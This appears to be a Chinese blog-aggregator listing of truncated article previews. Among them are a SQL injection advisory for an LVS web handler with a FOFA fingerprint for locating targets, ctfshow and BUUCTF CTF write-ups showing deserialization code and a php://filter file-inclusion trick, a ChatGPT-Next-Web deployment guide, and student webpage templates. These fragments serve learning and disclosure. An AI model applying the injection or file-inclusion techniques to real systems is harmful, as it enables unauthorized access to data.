    漏洞描述LVS.web.AgencytaskList,LVS.web.ashx文件的GetColumnIndex方法卫队gridid参数进行充分的验证和转义,导致SQL注入。攻击者通过发送特制的POST请求,可以向数据库发送恶意的SQL语句,从而泄露数据库信息或执行任意SQL命令。fofabody="/ajax/LVS.Core.Common.STSResult,LVS.Co......
  • ChatGPT-Next-Web:Github开源+Vercel免费+API 快速部署使用
    ChatGPT-Next-Web:Github开源+Vercel免费+API快速部署使用文章目录ChatGPT-Next-Web:Github开源+Vercel免费+API快速部署使用导语:需要用到的链接汇总1、github项目直达地址2、vercel服务器直达地址3、三方API获取一、Github项目`star`+Vercel部署1、访问进去G......
  • ctfshow web入门之web259
    web259题目描述1.题目源码很短:<?phphighlight_file(__FILE__);$vip=unserialize($_GET['vip']);//vipcangetflagonekey$vip->getFlag();2.题目在提示给出了flag.php的内容:$xff=explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);array......
  • BUUCTF-WEB(36-40)
    [BSidesCF2020]Hadabadday参考:[BUUCTF:BSidesCF2020]Hadabadday_末初的技术博客_51CTO博客[buuctf-BSidesCF2020]Hadabadday(小宇特详解)-CSDN博客应该是文件包含我这里使用;1,然后报错,我发现他是直接会加上一个.php,那我们试试伪协议读取?category=php://filter/......
  • Python中Web开发-FastAPI框架
            大家好,在当今Web开发领域,高性能、易用性和可扩展性是开发者们追求的目标。Python作为一种流行的编程语言,在Web开发领域也有着强大的影响力。而在众多的PythonWeb框架中,FastAPI凭借其快速、现代和易用的特性,成为了开发者们的首选之一。本文将深入探讨FastAPI......
  • 2024web网页源码大学生网页设计制作作业实例代码 (全网最全,建议收藏) HTML+CSS+JS
    文章目录......
  • Web大学生网页作业成品:个人博客主页 (纯HTML+CSS代码)
    ......
  • 249. 火锅美食响应式网页设计实例 大学生期末大作业 Web前端网页制作 html+css+js
    目录博主寄语二、网页文件 三、网页效果四、代码展示1.html2.CSS3.JS五、总结1.简洁实用2.使用方便3.整体性好4.形象突出5.交互式强六、更多推荐博主寄语火锅美食响应式网页设计实例,应用html+css+js:Div、导航栏、图片轮翻效果、注册登录页面、等。适用于大......
  • 【信息安全】Web 网络安全纵观与前景分析
    Web网络安全纵观与前景分析在此之前,欢迎关注波比网络培训、环境、资料、考证波比网络官方公众号:blbinet波比网络工作室官方公众号:blbistudio获取技术支持访问:https://www.blbi.cn/form/1/select技能大赛各赛项交流群:https://www.blbi.cn/threads/40/更多正式......
  • 244. 高端大气的蛋糕点响应式网页设计实例 大学生期末大作业 Web前端网页制作 html+cs
    目录前言一、网页概述二、网页文件 三、网页效果四、代码展示1.html2.CSS五、总结1.简洁实用2.使用方便3.整体性好4.形象突出5.交互式强六、更多推荐前言高端大气的蛋糕点响应式网页设计实例,应用html+css:Div、导航栏、图片轮翻效果、登录页面等。适用于大......